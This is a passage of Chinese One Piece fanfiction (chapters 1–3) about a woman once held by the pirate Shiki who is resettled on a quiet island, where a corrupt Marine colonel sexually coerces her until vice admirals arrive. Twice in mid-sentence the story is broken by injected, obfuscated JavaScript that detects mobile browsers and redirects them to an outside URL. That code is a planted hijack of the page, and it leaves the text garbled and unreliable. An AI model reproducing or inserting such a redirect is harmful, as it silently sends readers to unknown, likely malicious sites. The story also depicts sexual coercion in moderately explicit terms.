《[海贼]最后一站》 1. 第一章 “那就拜托你了。” “放心吧。” 卡普得尽快赶回海军本部,莱卡镇距离马林梵多有一段距离,“海军英雄”出动自己的船只是为了送人,空在本部电话虫话筒都捏烂几部。都怪罗杰在处刑前说的那番话,现在全世界的人们都为了寻找海贼王那所谓的“财宝”抛家弃子出海,在各个岛屿大肆掠夺,本就不那么太平的海上又掀起无数风浪,海军被打得措手不及。 再加上金狮子大闹马林梵多,本部出动战国和卡普才将他抓捕,战国现在人还在病床上躺着,卡普能动弹,说不听非要亲自送人,送就送干嘛一直不回来,骂他他还说“我那么辛苦给我多放两天假怎么了嘛!”,气得空又砸烂一个听筒,再不回去空怕是要派鹤来抓他,海军英雄被中将揪着耳朵带走实在不好看。 “那你就在这里生活吧,别看诺兰这样,他可是很能干的,不会再有海贼把你抓走了。”卡普把目光移向站在诺兰身边的女人,不管看几次,卡普都会被她的美貌震撼,怪不得金狮子愿意将她带在身边,她恐怕是金狮子军舰中唯一手无缚鸡之力的普通人。 更奇怪的是,金狮子单个战力来到马林梵多,他乘坐的飞船上一个部下也没有,被捕后,他特地告诉卡普他的船上有一个女人,卡普本着多抓一个是一个的想法上船查看,很快发现船上毫不受影响正在插花的安。 卡普多番排查后发现这竟然是个普通人,看样貌和身上的痕迹应该是侍奉金狮子的女人。金狮子难道知道自己会落败,特地把她带来交给海军保护?怎么可能。 “喂喂喂,‘别看诺兰这样’是什么意思!少在安面前诋毁我!” 卡普没理会诺兰的抱怨,他的话得到女人一个微笑作为回应,感谢的话她说过很多次,如今不必再说,只希望承卡普吉言,真的不要再被抓走,她很想过安稳的生活。 安和诺兰一直在码头注视卡普的狗头船直至看不见才慢慢从码头往回走,一路上不管是周边的商贩还是过路的民众都停下手中的事朝诺兰打招呼,诺兰一一回应,看得出来他很受民众信赖,当然大家对诺兰身边的安也很感兴趣,他们从来没有见过这么美丽的女人,而且竟然由“海军英雄”卡普亲自护送到这座岛屿,难道是哪个国家的公主吗? “你接下来有什么打算?”送安回到住处,诺兰问。 “感谢您的安排,既然已经有居住的地方,接下来还是先找个工作吧,不然无法生存。” 诺兰一愣,随后大笑起来:“是吗?这样啊,那就先找工作吧!我刚刚路过看到花店在招人,你可以去试试!” 没想到被金狮子史基囚禁6年的女人脱离海贼团的第一件事是想要找个工作,否则“无法生存”,该说她坚强还是神经粗大呢! 安并不坚强,神经也不粗大,她只是喜欢这样的日子:能在一个地方安定下来,依靠自己的双手劳作赚钱,每天能安排自己的日程,而不是时时刻刻被绑在某个男人身边,随时被拉开双腿带入无法自控的情欲漩涡之中。 她不着痕迹打量眼前的独腿老人,试图判断他的可靠度,那个叫卡普的中将还不错,把她从史基的船上带下来,确认她只是普通人以后既没有把她据为己有也没有把她送给上级换取钱权,还勒令船上其他自制力薄弱的海兵不准靠近她,亲自将她送到他选中的目的地,安很感谢他愿意这么做,这杜绝了她中途又被卖掉或者被□□的可能性。 为什么要说“又”?当然是因为她以前遇到过无数类似的情况。 诺兰看着和卡普关系很好,目前行为很正常,他统治下的这个岛屿整体氛围也还可以,反正先生活看看吧,这个世界不知道为什么大家都喜欢在海上飘着,带着她辗转各个岛屿,她不会航海术,更没有一个人对抗风浪的能力,只能走一步看一步。 第二天安就去了诺兰说的花店,店主是个高大又彪悍的中年女人,但是她花店的花开得格外美丽,女人听说她要来招聘,露出有点纠结的表情问道:“你会照顾花吗?” 安谦虚道:“会一点。” “那这个花叫什么名字?” “贝贝尔。” “这个呢?” “托马兰。” “那个呢?” “水晶花。” 店主慢慢露出微笑,指着一盆和诺兰的蓝色胡子一样颜色,在这座岛上的民居阳台、街角、花圃随处可见的花问:“那这个呢?” 安沉默,这个花她没有在史基送她的岛上见过。 店主一下咧开嘴,笑得眼睛都眯起来了:“这个花叫‘诺兰’,是我专门培育的。你被录用了,明天9点准时上班。” 花店的工作对安来说并不困难,刚跟着史基时,她对史基说想要养花,史基便在伟大航路给她找了一座开满各种各样花的岛屿升上天空任她养。以前她也侍弄花草,有些世界的花草一样,有些世界则完全自成一派,这个世界是后者,她从头开始学习,6年经验够她对付这间花店,更何况这个世界审美没有差异,有她的脸加成,她随便抽几朵花扎成一束对方也很高兴(安并不会这么做)。 一晃2年过去,安在莱卡这座岛上工作、生活,度过了理想的两年,这两年期间也有过一些事件,不过在诺兰的管辖下都没变成大问题,诺兰遵守和卡普的约定,但是他也到了退休的年纪。 这个受人敬重的老上校的送别仪式上,岛民们人手一朵“诺兰”,流泪欢呼着将他送上船,安当然参加了送别仪式,她同样很感谢这位老人,如果可以,她希望他能够继续担任莱卡的上校,她讨厌乃至恐惧改变。 “别担心,阿德莱德还在,他会在新上校继任前暂时接管我的位置,新上校继任后也会辅佐他,不会有问题的。” 阿德莱德是诺兰的副官,比诺兰年轻一些,也是同样正直的好人,安姑且露出安心的微笑,岛民们也大声说道:“对对对,我们也会保护好安的!” “那我就放心了。各位,多年来谢谢你们支持我的工作!”诺兰一直朝着岛屿的方向敬礼直至看不见,过了很久岛民们才陆续回到各自的岗位。 没过多久安就听说新的上校要来继任,只是风评不太好,明面上是平调到莱卡,实际似乎是犯了什么错被发配到这里来,莱卡既不漂亮也不富有,没有什么资源,只是安静和平,一般有职业追求的海军军官都不想调到这里,阿德莱德来看过她几次,欲言又止的样子让安有点忐忑。 一个风和日丽的日子,新上校约翰登岛,阿德莱德看着他明明长得不差却一副纵欲过度的肾虚样子,心想果然和传闻一样,但是再怎么厌恶也是上司,军人的天职是服从。 “带我随便转转吧。”约翰兴趣缺缺,他原本在另一个旅游资源丰富的岛屿做上校,油水多美女也多,他作为海军上校,有点好色那不是很正常吗?那个女人敬酒不吃吃罚酒,能侍奉他约翰是她的福气,竟然为了这种事向海军本部写什么投诉信,小题大做,害得他被发配到这种鸟不拉屎的岛屿! 阿德莱德不停在大脑里规划路线试图避开安所在的花店,可是那个花店开在最繁华的地段,店外摆满盛开的鲜花,在街这头一下子就能看见,很难完全避开,而且躲得了一时,躲不了一世,约翰不可能在任期间完全见不到安,还是得想其他对策… 约翰一行人走到花店时,安正在给花浇水,她听到周边店铺大家骚动的声音,还有大部队的脚步声,扭过头正正和一个白色头发叼着雪茄的少年海兵对上视线。 那年轻人就像石化了一般,呆愣愣地看着她,安对这种反应不陌生,并没有太在意,先前登岛的旅人、海贼们很多都这样,会有登徒子,不过驻扎的海军会妥善解决。 “你!你叫什么名字!”有人几个跨步站在她面前,安不得不停下工作抬头去看,是一个从来没有见过的男人,脸色蜡黄、眼圈发黑,哦,他穿着海军的制服,还有披风,难道是新任的上校吗? “我叫安。” “安…!”男人看起来非常激动,他伸手一把搂住安的腰,阿德莱德几乎是跳起来从他手中夺人:“约翰上校!请你自重!” “啊…”大概是意识到这样太过孟浪,安也一副被吓到的模样,约翰理了理自己的领带,事到如今做出一副翩翩公子的样子只是惹人生厌:“我是新上任的上校约翰,安小姐。” 安被阿德莱德半挡在身后,礼节性地点点头,“您好。” 这下约翰不觉得莱卡一无是处了,他怎么从来没听说这里有个那么美丽的女人?既然他已经到来,就没可能让她逃脱,区区平民难道还能反抗他一个海军上校吗? 他扯开笑容,光明正大地挤开阿德莱德,揽住安的肩膀:“马上就是饭点,一起吃饭吧。” 这么凑近一看,安更美丽了,约翰的脸越凑越近,他嗅到安身上的清香,几乎要把鼻子埋进她的发丝。 “可是我还有工作。”安试图拒绝,她用眼神向阿德莱德求救,但是阿德莱德也有自己的考量,他当然可以救安,可约翰不会轻易放弃,若是撕破脸皮,这人明面上是他的上司,他可以向本部写函将他调离莱卡,他一走再没人保护安,这个事情必须更加聪明地解决。 “等你成为上校夫人,这种破花店就不用再来了。” “不…”安还想挣扎一下,她的拒绝让约翰想到那个写投诉信给本部的女人,脸色一下就暗沉下来,箍着她腰肢的力气骤然增加,甚至让安感到疼痛:“别想反抗我!不过是一个平民女人,让你做上校夫人你还有什么不满吗!?” 安不说话了,也没有人为她说话。安看着约翰逐渐低下头,约翰很满意她的识相,一行人径直朝着饭店去,期间约翰的手非常不老实,一直在安的腰臀位置暧昧地抚摸。 不少跟在后面的下等海兵一边在心里臭骂约翰一边羡慕得流口水,只有白发少年全程眉头紧皱,一直盯着安的后脑勺隐忍,努力让自己不要军校实践活动报道第一天就揍上司一拳,泽法老师不会放过他的。 他妈的人家都说了不愿意! 那顿饭只有约翰和他的亲信吃得很愉快,他们还在席间喝了酒,丝毫不顾还是工作时间,亲信们深知约翰的痒处,不停恭喜他娶得美人归,仿佛安已经是他的妻子,约翰被奉承得飘上天,大笑着亲了安的脸颊好几口,阿德莱德气得发抖,不过他已经有了一些主意,接下来只看他能不能把戏演好。 “约翰上校,您看,这也吃饱喝足了,是时候回基地…”约翰的亲信之一露出男人都懂的笑,约翰也发出笑声,一把揽住安准备带她回去,这时阿德莱德猛地起身,把所有人都吓一跳:“你,你干什么…?” “安小姐,你要结婚,那么重要的事情怎么能不通知一下卡普中将?” 一听到“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16301796|182784||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 卡普”二字,约翰酒都吓醒了,那个海军英雄竟然认识安?他们是什么关系?? “哦,约翰上校,您第一天上任不知道,安是卡普中将两年前亲自送到莱卡的,他吩咐我们要好好照顾她,像结婚这样的大事,当然得告知他本人,让他也高兴高兴,您说对吗?您上任第一天就和安小姐如此情投意合,他一定会很欣慰的。”阿德莱德特地强调“亲自”和“上任第一天”以暗示约翰。 “我,我今天还有事,下次再说吧。”约翰强装镇定,不再提要带安走,背影颇有点落荒而逃的意思。不知道他和卡普有什么过节,但海军英雄的名头确实震慑到他,阿德莱德松了一口气,看向安说道:“抱歉,委屈你了。现在暂时先这样,我会再想其他办法,诺兰把你交给我,我一定会保护你的。” 那为什么就不能给诺兰打个电话虫,让他联系卡普把她带走。别问,问就是男人的尊严和约定。 安点点头,在阿德莱德的护送下回到住所,那顿饭以后约翰老实了几天,不过很快又弄出新花样:他开始给安送礼物、说情话,一副深情追求的样子。 原来如此,硬来可能会被捅到卡普那里去,就搞迂回战术,装模作样追求一番,能编排的说辞就多了。 对此安一直维持不冷不热的样子,约翰送她的东西她都堆在店里,也不拆。她想看看还有没有别的机会,最理想的情况是卡普知道她的困境将她送去其他地方或者带在身边,如果能联络到他,事情应该会有转机,如果实在不行就认命,左右不过张开大腿。 安很擅长这个。 除了约翰,还有其他问题困扰安。在约翰做出这种行为以前,岛上一直维持着一种微妙的平衡:安是属于全岛人的,她属于这片土地,属于山坡上的青草,属于正巧飘到莱卡的白云,属于蓝色的诺兰花,唯独不属于任何人。 约翰的行为开启了一个信号,岛民们焦躁得夜不能眠,生怕安哪天妥协,变成约翰一个人的,既然如此,安为什么不能成为他们的? 而且约翰到来以后,岛上的所有需要通过海军基地审批的事项都变得无比困难,商家进个货,以往从订货到上架就两天的事情,如今一个星期还拿不到手,问就是在走流程,一些岛民们看出海军想要钱,疏通以后确实放行了,可是莱卡又不是什么有钱地方,哪能每次都这么花钱消灾? 最先采取行动的是年轻的男孩们,他们也曾经想要追求安,但是安从不特殊对待任何异性,大家都得不到就不会嫉恨,你约翰算什么?凭什么你可以?于是男孩子们也开始给安送礼物,他们掏空自己为数不多的积蓄去买那些名贵的首饰,安收也不是,不收也不是,最后只能全部堆在店里。 约翰很快听说了这个事,嗤笑那群人不自量力,派海兵把那些年轻人打了一顿:凭什么?就凭他是海军上校,他们只是平民百姓!凭他出身比他们高,凭他比他们强! 约翰的行为让岛民们更加愤怒,岛上的氛围开始变得紧绷,尤其是海军出现,岛民们会停下手中的工作直直盯着他们,一旦发现他们靠近安所在的花店或者她的家,他们的眼神就会越发狠厉,约翰上任带了一些他的人过来,和他一样糟糕,至今没有大问题完全是阿德莱德把新老海兵强行编进一队牵制着。 阿德莱德焦头烂额,卡普中将这个名头随着时间的推移震慑力逐渐变弱,约翰迟早会反应过来,他们根本没有那么大面子把海军英雄叫过来。约翰追求安这一步棋走得真是优秀,恋爱结婚是人之常情,虽然不想承认,但约翰说的对,他一个海军上校娶平民女子绰绰有余。 等了好一段时间也没听说海军英雄要过来,更没有任何其他风声,约翰逐渐放下心,但他的幕僚认为他应该更谨慎一些,除了安,那些卡着岛民的审批、申请、通关都暂时先放行,别收受贿赂。 所以他按耐住自己的□□和贪念,让岛内事务正常运行,安那边先从送礼物开始,然后是一起去其他岛屿的高级餐厅,他就不信安一个穷女人会不动心。 “喂,你。”约翰刚吩咐手下定好高级餐厅的包间,随手指了个人,“去把安给我带过来。” 被他指到的那个海兵异常年轻,看起来似乎还未成年,不过体格身高都不错,约翰有些疑惑,这不是他的人:“你是岛上的海兵吗?” 他的幕僚提醒:“约翰上校,这是海军实践活动的学员。” “哦…又到了这个时期啊。”约翰点点头,“泽法老师还好吗?” 少年海兵出列,敬了个军礼:“回上校,泽法老师很好。” “这个实践活动那么多年还在弄啊,我那时候也参加了,要是没拿到合格证回去,泽法老师打人可痛了…”约翰陷入回忆,露出怀念的神色,“你几岁了?十六?十七?” “报告,我十四。” “那么年轻就能参加实践活动,你是破格的吧?也好,那你就跟着我,我来让你看看海军上校的优秀之处。” 少年看着约翰那张肾虚的脸,心里一万头草泥马狂奔而过。 “就派你去把安带过来。”约翰对着少年露出意有所指的笑容:“小子,记住,要往上爬,爬上去,就什么都能有了。” 白发少年垮着嘴角再次敬礼,转身离开,一秒都不想多待,走到门口约翰又叫住他:“等等,你叫什么名字?” “报告上校,我叫斯摩格。” 2. 第二章 “今天你身体不舒服,请假休息了。” 斯摩格叼着一根雪茄说道,不等安反应过来就走了,反正跑腿只有他一个人,回去到怎么说是他的事。那个叫安的女人,明显就不喜欢约翰,海军上校又怎么样,也不是每个女人都爱慕虚荣。 话说回来她真的好漂亮… 斯摩格猛晃脑袋把安的脸甩出去。什么?脸上的红晕?那是太阳晒的!! 接下来好几次邀请,只要是斯摩格跑腿,安都被请假,偏偏约翰像一只想要在同性面前表现的孔雀,每次都指派斯摩格去,不过次数多了,约翰也生疑,派别人去或者自己亲自去,安还是生病休息,约翰已经将近大半个月没看到安。 安真的病了吗?当然没有,是花店周围的岛民受斯摩格启发,只要不是那个白头发的小子过来,他们就发出声音提示安,安会躲进仓库,再由花店老板出面回绝。 约翰越来越不耐烦,他本来就重欲,这个破岛连个妓院都没有,有他也烦,其他女人怎么能和安比! 他的幕僚一直安抚他,现在不能轻举妄动,海军本部前日刚下文件,伟大航路的所有分部、地区驻军即时进入一级戒备,给莱卡还有要求准备补给的指令,按照文件安排,军舰返航会到他们这里来。 “约翰上校,我有个提议…” 军舰回程时青雉一如既往盖着眼罩,一副悠闲的模样,可是只有他本人知道自己心绪如何混乱。他刚在奥哈拉岛上冰封自己的好友萨乌罗,又协助妮可·罗宾潜逃,他有自己的立场,并不后悔做这些事,可是对他的影响不是不后悔就能揭过去的。 和萨卡斯基一起出任务也让他不舒服,那个男人是个异常激进的鹰派,因为“可能”有学者藏匿其中就下令开炮炸毁避难船,青雉无法认同。 “看得见莱卡了!各单位注意!准备靠岸!” 耳边有海兵在叫喊,“莱卡”二字让青雉想起出发前卡普找他说过的事:“我希望你能去莱卡帮我看望一个人。” 青雉未升上将级前一直在卡普的手底下干,他尊敬崇拜卡普的实力和为人,卡普很少拜托他做事,反正也是顺路,青雉甚至都不问那人是谁就满口答应。 “她是我2年前从…海贼船上救下来的,原本把她托付给老朋友,但是我那个老朋友一个月前光荣退休。”话说到这,卡普露出些许担忧的神色,“总而言之,你去看看她过得好不好,如果到时不知道怎么做,你再用电话虫联系我,我来解决。” 他还能不知道怎么做吗?他已经是中将,不是以前的毛头小子,总不可能不知道该拿一个女人怎么办吧?青雉轻松地想,不过表面上还是乖巧地应下。看起来卡普挺关心那个女人的,是叫“安”吧,那就出发前多带贝利,莱卡他记得不是很富有,给对方钱想必是个不错的支援方式。 为了确保“任务”顺利完成,青雉难得主动询问:“对方长什么样?有照片吗?” 青雉直到现在都能清晰回想起卡普听他到这句话时露出的奇妙表情:“不需要照片,你看到她就能认出,她很漂亮。” 十艘战舰靠岸,那场面要多壮观有多壮观,约翰早早就等在码头,基地也做好万全准备接待,斯潘达因是个喜欢排场的,他第一个下船,接着是有特殊任务在身的库赞,萨卡斯基对这类应酬不感兴趣,但是其他中将都下船,就当是踩踩陆地。 约翰一路上对本部的将领们点头哈腰,阿谀奉承,他看出来斯潘达因尤其喜欢高高在上的感觉,心中记下,心想一会儿一定要让安多多给斯潘达因长官敬酒。 执行屠魔令的都是中将和精英,莱卡又没什么好观光的,一行人移动起来很快,再穿过中央街道就是基地,但是中央街道似乎发生了什么,又吵又闹,隐隐约约还能听到“别…安…带走”的话语,中将们见闻色都很优秀,这句话的完整版本是:别让他们把安带走。 青雉一下就醒了。 约翰没有见闻色,但他看了眼方向,后背冷汗狂飙,同时在心里怨恨给他添堵的岛民和办事不力的下属,他赶紧给幕僚打眼色,幕僚火烧屁股地冲进中央街道,试图在将领们好奇之前平息事端。 事件主角可能是卡普先生交代要看望的人,青雉让麾下的海兵去看看吵什么,如果这个“安”是卡普口中的“安”,那他得帮她。 “报告!好像是海军和平民在械斗…” “这是什么话?说清楚,到底是什么事!平民造反就镇压,海军欺压百姓就问责,械斗,又不是群众打架,械什么斗!” 一个性子急躁的中将开口训斥道,青雉有点怕“安”受伤,那可是卡普先生难得拜托他的事情,他不想搞砸叫卡普先生失望。于是他直接朝中央街道走去,其他中将也是,不管是吃瓜还是打发时间还是顾及海军的面子还是从众,过去看看再说。 约翰痛苦面具地窜到前面,他想拉住库赞又不敢:“实在是非常不好意思,让各位将领大人看到这一幕,只不过是一些刁民,我的部下会妥善处理的,我们还是先到基地休整…” 库赞充耳不闻,径直往目的地去,很快就到达乱斗现场,还真的是平民和海军在械斗啊,不过看得出平民处于劣势,马上就要被镇压,库赞分开一个拿着锄头的年轻男人和海兵,岛民一看到身批“正义”披风的库赞和他身边的约翰,更加愤怒,双眼充血地嘶吼:“约翰你这个畜生!不仅强迫安还把军舰叫过来!把我们的生活搞得乱七八糟,你不让我们活了吗!” 约翰恨不得割了这岛民的舌头:“你别瞎说!”他赶紧叫手下的海兵停手,这下面子丢大了,他的计划还能顺利实施吗? 岛民们终究是善良的人,见海军不再攻击,他们也停下,但是心中愤恨的心情还是很激荡: “我们承诺诺兰要保护安!绝对不会让你糟蹋她的!” “把我拿出去的钱拿回来!” “军舰,军舰又怎么样!我们才不怕!” 岛民们一人骂一句,库赞很无奈,根本插不上嘴,他想解释他们不是约翰叫过来,更不会糟蹋安,可是激动的岛民们根本不听他的话。 “海军就可以强抢民女吗!你们跟海贼有什么不同!” “够了!” 这句话狠狠碾过萨卡斯基的神经,本身就不太美妙的心情一下变糟糕,他大声喝止口无遮拦的岛民,岛民们被吓得鹌鹑一样瑟瑟发抖。 库赞挠挠头,叹了一口气,虽然方式不太好,但岛民们总算安静下来:“所以呢?安在哪里?” 眼看岛民们又要激动,一个女人应声,从门口被刀剑、农具破坏得彻底的花店里走出来。 “我是安。” 库赞瞪大眼睛。他瞬间明白卡普说的“看到她就能认出”、“她很漂亮”是什么意思,这也太… 安抬头看着面前高大的男人,首先认出他的军衔:中将,和卡普一样。 原来如此,她明白这段时间约翰所作所为的最终目的了。一个月前,她装病的做法逐渐不起作用,约翰派人守在她家附近,只要看到她出门就来逮人,安不可能因为约翰永远不出家门,约翰如愿以偿带着安到高级餐厅共进晚餐。 阿德莱德没有在,他好像很忙,听岛民说他离开莱卡去了周边的岛屿,所以当时安做好饭后要和约翰上床的准备,奇怪的是,约翰虽然看着很想带她到酒店,但还是把她送回了家,类似的事情发生过好多次,他在车上摸她、让她用手用嘴,却一次都没有插入。 安不认为他转性了,一定有其他原因,只是她还不知道是什么,想不通男人时,往钱权色上靠总能靠出一个差不多的答案,这会不会是安正在等待的机会?于是她静静地蛰伏。 岛民们的态度则与她截然相反,他们似乎一心认定约翰强迫安(也没错),已经将她占有,对诺兰的承诺、无法道明的阴暗心理、约翰的不合理统治蚕食他们的心,岛上这处那处都爆发了小范围的起义,基本都是年轻岛民搞出来的,结局无一例外以岛民的失败告终,安看到了斯摩格的果实能力,竟然可以变成烟,难怪他年纪轻轻就叼着雪茄。 如此年轻却如此强大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16301797|182784||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,真叫人羡慕。 扯远了,话说回来,这样的小型起义随着时间推移、约翰找到安的密度而逐渐扩大,有时候约翰大白天也把安带走,安回来的时候眼圈泛红,嘴唇红肿,嗓子疼痛无法说话,更坐实岛民们的猜测,加上逐渐变得猖狂的收受贿赂,年长的岛民也开始反抗约翰的统治,今日十艘军舰的到来,彻底点燃战火。 岛民们一心认定军舰是约翰叫来的,目的就是为了镇压岛民,彻底把安抢走,毁了他们的生活。 只是路过吧。安想。或者是执行什么任务,到莱卡补给,约翰一个上校,怎么可能使唤得动那么多中将和军舰,怪不得阿德莱德忙到根本没空管她,那么多高层要来,哪是管女人的时候。 那今天想早早将她接到基地,是要用她招待?还是要拿她换职务?安希望是后者,不,得是后者,这群中将今天必须要有一个人把她带走,失去诺兰的莱卡已经不适合她,这个地方在逐渐崩坏。 而且上校和中将,安选中将。不仅是为了更安定的生活,根据她多年跟随男人的经验,身心越强大的人情绪越稳定。好比说史基,在外是名镇一方的飞空大海贼,但他在安面前从来不生气,甚至称得上幽默风趣,□□也没有任何奇怪癖好,反而是史基手底下一些自命不凡的家伙,打个照面不说话还得费神费力去揣摩对方为什么不高兴。 目前看来卡普是最理想的人员,但那不是见不着吗,安不着痕迹观察库赞,伺机而动。 约翰对安的出场效果很满意,中将们先不说,斯潘达因眼睛都要粘到安身上了,斯潘达因是cp9的长官,虽然不能直接决定约翰的调令,但他可以动用关系让他离开莱卡这个破地方。 这就是幕僚给约翰的建议,用安来跟上级做交易。安再怎么美丽也只是一个女人,睡多了肯定会腻,不能为了她放弃整片森林啊!而且莱卡没有油水捞,难道要他们只领本职的那点工资过活吗?日子得少多少乐趣!如果将她献给上级,约翰不仅可以离开莱卡,可能还能升职加薪! 约翰扯开嘴角露出得意的笑,吩咐手下的人:“喂你们!把这些造反的家伙全部给我关到牢里去!我之后再处理!”再扭头他又露出谄媚的模样:“各位,请吧,基地马上就到了。” 他亲自过去揽住安的肩膀:“安,你也来。” 他用力捏安的肩膀表示自己的不满:真是的,竟然让他费那么大功夫,还在中将和cp9的长官面前丢脸! “你不能带安走!” 岛民们又骚动起来,萨卡斯基看这出戏真是看得有够烦,他扫一眼安,吐出两个字:“祸水!” 安听到了,她的身子一顿,清晰地意识到这是一个绝佳的机会,便笑起来:“哈…哈哈哈哈!” 大家都被她的笑声吸引注意力,包括萨卡斯基,他皱着眉头,心想这女人疯了吗? 安却抬头直视他,那双漂亮又勾人的眼睛满是对他的嘲讽:“对,你就自顾自地这么想好了,就这样把错全部推到我的身上来好了。” 约翰差点被安吓得心脏停跳,他从未见过这样充满攻击性的安,在他的印象里,安永远如同羔羊一般温顺,包括接受他的那些不合理要求时,她也是低眉顺眼,一声不吭地照做,她从不这样尖锐地注视别人。 可是谁都不能否认,这样的安摄人心魂。 “就因为我生得漂亮,我就必须被男人抢来夺去是吗?我什么坏事都没有做过,为什么不能过自己想要的平静生活?你不是海军吗?不是大人物吗?为什么不做点什么?为什么不保护我?” 最后安嘴唇一掀,吐出最凌厉的话语:“如果做不到,就不要标榜自己是正义。” 周围的空气温度开始升高,变得扭曲,这是萨卡斯基元素化的前兆,库赞眉头一皱,能力已经在发动中:“喂萨…” 但是很快热度降下来,萨卡斯基沉默了很久,安依旧用嘲讽的眼神瞪视他,丝毫不动摇,半晌萨卡斯基先开口道:“可以。” “从今天开始,你搬到本部来,我保护你。” 3. 第三章 参加这次“械斗”的岛民都被关进牢里,几乎把大牢挤爆,一些没有直接与海军产生冲突的岛民又因为这个情绪失控,尤其是被抓者的亲属,他们围在基地门外不肯离开,最后青雉不得不让手下一同维持秩序,安抚民众。 眼罩还套在库赞的额头上,看着有点滑稽,但是他的眼神和话语让约翰如坠冰窖:“我会让本部重新审查你的任职。” 约翰在心里疯狂搜寻能够带他脱离困境的人,迟迟无法想出对策。库赞才27岁,是还很年轻没错,但这个男人从军校时期就出尽风头,将稀有的自然系果实运用得炉火纯青,一毕业就跟着海军英雄卡普,传闻他和萨卡斯基、波鲁萨利诺是最有望成为大将的人选,不少人愿意卖他一个面子,他轻飘飘的一句“重新审查”足够将约翰打下十八层地狱。 库赞才懒得理约翰下多少层地狱,除了安的事,他在莱卡的管理上严重失职,海军里的确很多这样的人渣,但既然让库赞知道,他就要管。 看了一圈也没找到安,库赞有点心焦,除了她是卡普先生交待要善待的人外,库赞的绅士风度也不允许他就这么把她丢一边。她的那一番话,到底是抱着怎么样的心情说出来的呢?萨卡斯基那家伙…库赞果然跟他合不来。 不过稍稍思考后,库赞就有了目的地,往少校办公室走去,推开门安果然在里面,除了她还有萨卡斯基的副官以及莱卡的少校阿德莱德。 萨卡斯基没有跟来基地,他对安说完话以后转身回了军舰,于是萨卡斯基的副官强纳森来到安身边,一脸为难:中将的意思应该是要带她回马林梵多吧?但哪有那么容易,马林梵多只有军官和家属…哦!按照家属的那个流程去申请应该可以。 强纳森看着安的脸,非常能够理解自家中将:这样的女人娶回家做老婆简直美滋滋!不过还是他老婆杰西卡最美! “总而言之先把你的档案资料交给我,我来给你办理。” 库赞到少校办公室时强纳森正好把安的档案翻完,不多,就薄薄几张,他满脸疑惑:“你怎么只有两年的档案?” “我两年前才到莱卡生活。”安回答。 “那这之前呢?” 她之前的经历可丰富了,他是问多久之前?安被自己的幽默笑到,不过面上还是露出困扰的神色。更久以前的先不说,光是在金狮子的海贼船上生活过就不能让这个副官知道,否则他上报,她的资格审查恐怕会变成地狱级别的困难,而安想要尽快离开莱卡。 阿德莱德也想到这点,他已经无法保护安,还要对莱卡负责,让她跟着其他中将去往马林梵多是最好的结局,但是要用怎么样的借口?这时候把卡普中将亮出来合适吗? 强纳森是因为观察力强、善于谋略才被萨卡斯基提拔上来的,他立刻感觉不对劲,这位安小姐和阿德莱德少校好像有什么事情隐瞒? 库赞的出现解救了安和阿德莱德。 “她是卡普先生的熟人。”库赞走过来把安的档案抽走,看了基础信息那一栏,果然是个普通人:“你这两年没有吃恶魔果实吧?” 安摇头。 “那就没问题了。萨卡斯基不想让不明人士上军舰对吧,那安上我的军舰回本部,去到马林梵多再安排住处,出任何事责任由我一个人承担,你这么告诉萨卡斯基就行。” 库赞说完便将安带走。 强纳森不得不遵从,但是他的内心警铃大作:这这这,这怎么行!好友的老婆要没了!!强纳森全程用冲刺的速度跑回萨卡斯基所在的军舰,大声汇报:“报告!萨卡斯基中将!安小姐被库赞中将带回他的军舰了!不过我看了安小姐的资料,没什么问题,等回到本部,我立刻着手给安小姐安排住所可以吗?” “库赞?” 萨卡斯基眉间隆起褶皱,他和库赞一直不对付,那人插手他的事干什么?……不过也好,去他的船上就去他的船上吧,冷静下来以后萨卡斯基也有点后悔,但是说出去的话总不能收回,一个普通女人而已,翻不出什么浪花,到时候在马林梵多随便给她找个住处,有手有脚总能养活自己。 “知道了,就这么办吧。” 于是强纳森马不停蹄给安填表,利用自己的关系网提前疏通,力求在军舰抵港时,安就能以伴侣身份毫无障碍入住萨卡斯基的家。 视角转回安和库赞这里,莱卡发生这样的糟心事,中将们也懒得多待,让手底下的人都去清点搬运补给,打算抬上船就走,十艘军舰的海兵运作起来费不了一天,安得尽快回一趟家收拾行李。 “如果安小姐不介意,请让我帮你搬运吧。”库赞的姿态放得很低,他征求安的意见,如果她不同意,他会让女性海兵过来帮忙。 “您堂堂海军中将,我怎么好意思让您搬东西,还没谢谢您帮我说话,请到寒舍喝杯茶吧。” 安的住所就在中央街道,距离基地和她工作的花店都不远,女人打开门后,库赞非常克制地扫了一眼里头,和他想象的一样,不大但干净整洁富有生活气息,能闻到属于安的味道盘旋在这个空间,门框对库赞来说太矮,他不得不低头走进去。 “您先坐,我去给您倒杯茶。”安说完往厨房去,库赞也不想太拘谨让安不自在,便应一声曲着腿坐在对他来说过于低矮的沙发上,茶几上的《The Rainbow Mist》看了一半,有书签从书页里伸出来。 安很快就端着茶壶和茶杯过来:“都是一些我自己做的花茶,希望您喝得习惯。” “不用太费心,我喝白开水也可以。”库赞两根手指捏着茶杯的耳嘬了一口,混合多种花香的清爽味道在口腔中回荡,即使是库赞这种粗糙的大男人也能感受到这花茶的好。“很好喝,谢谢你。你收拾行李吧,我就在这里等你。” 安点点头回房间,库赞做好长时间等待的准备,反正长官在这,军舰不可能丢下他先走,然而库赞才续到第二杯茶,安就提着一个手提箱出来。 库赞疑惑道:“就这么点吗?” 